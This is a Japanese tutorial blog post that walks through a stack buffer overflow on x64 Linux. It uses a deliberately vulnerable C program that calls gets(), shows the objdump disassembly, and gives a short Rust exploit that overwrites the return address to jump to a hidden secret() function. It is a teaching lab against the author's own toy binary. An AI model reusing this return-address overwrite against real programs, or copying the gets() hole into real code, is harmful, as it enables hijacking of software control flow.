😵‍💫

スタックバッファオーバーフローによるリターンアドレスの書き換え

2023/02/04に公開約2,400字

対象読者

基本的なx64アセンブリがわかる。
Cが書ける。

想定環境

x64GNU/Linux

下記のC99コードを見てください。

target.c
#include <stdio.h>

int secret(void) {
    printf("secret\n");
    return 0;
}

int func(void) {
    char name[5];
    gets(name);
    printf("%s\n", name);
    return 0;
}

int main(void) {
    func();
    return 0;
}

上記のコードには脆弱性があります。
本来の処理では、secret関数は呼び出されませんが、今回はgets関数の脆弱性を利用して
secret関数を呼び出してみたいと思います。

ビルド

まずビルドしましょう。コンパイラにはgccを使用します。

gcc -std=c99 -no-pie -o target target.c

gets関数は脆弱なので、c11から削除されています。そのため規格をc99に指定しています。
-no-pieはPIE無効でコンパイルしています。

ビルドするとwarningが出ますが、無視してください。

このプログラムはユーザに名前の入力を求め、受け取った名前を表示しています。

解析

では、解析をしてみましょう。
まずsecret関数のアドレスを調べます。
調べる方法はいくつかありますが、今回はobjdumpコマンドを使用します。

objdump -M x86-64 -M intel -d target

上記コマンドにより、命令を含むと予想されるセクションの内容を逆アセンブルします。

出力からsecret関数のアドレスを確認すると0x401132だということがわかります。

次にgets関数が呼び出されているのはfunc関数なのでfuncの逆アセンブル結果を見てみましょう。

  401149:	1 push   rbp
  40114a:	2 mov    rbp,rsp
  40114d:	3 sub    rsp,0x10
  401151:	4 lea    rax,[rbp-0x5]
  401155:       5 mov    rdi,rax
  401158:	6 call   401040 <gets@plt>
  40115d:	7 lea    rax,[rbp-0x5]
  401161:	8 mov    rdi,rax
  401164:       9 call   401030 <puts@plt>
  401169:      10 mov    eax,0x0
  40116e:      11 leave  
  40116f:      12 ret

push rbp (1行目) 実行後のスタックの様子

mov rbp,rsp (2行目) 実行後のスタックの様子

sub rsp,0x10 (3行目) 実行後のスタックの様子

lea rax,[rbp-0x5] (4行目) 実行後のスタックの様子

5行目ではgetsの第一引数(rdi)に配列nameのアドレスを渡しています。
mov rdi,rax (5行目) 実行後のスタックの様子

6行目はgets関数をcallしています。そしてgets関数の処理で、rdiから図でいう下の方向に向かって値を書き込んでいくわけです。
このとき6バイト以上の値を書き込むとバッファーオーバーフローが発生します。
これでリターンアドレスに任意の値を書き込むことができてしまいますね。

攻撃コード

では攻撃のコードを書いてみましょう。普通ならPythonで書くと思いますが筆者の趣味でRustで書きたいと思います。

exploit.rs
use std::io::Write;

fn main() {
    let mut output: Vec<u8> = vec![b'a'; 13];
    let tmp: [u8; 8] = 0x401132u64.to_le_bytes();
    output.extend_from_slice(&tmp);
    std::io::stdout().write_all(&output).unwrap();
}

コードをビルドします。

rustc exploit.rs

実行してみましょう。

./exploit | ./target

無事secret関数が実行され、secretと表示されました!!!!

Discussion

ログインするとコメントできます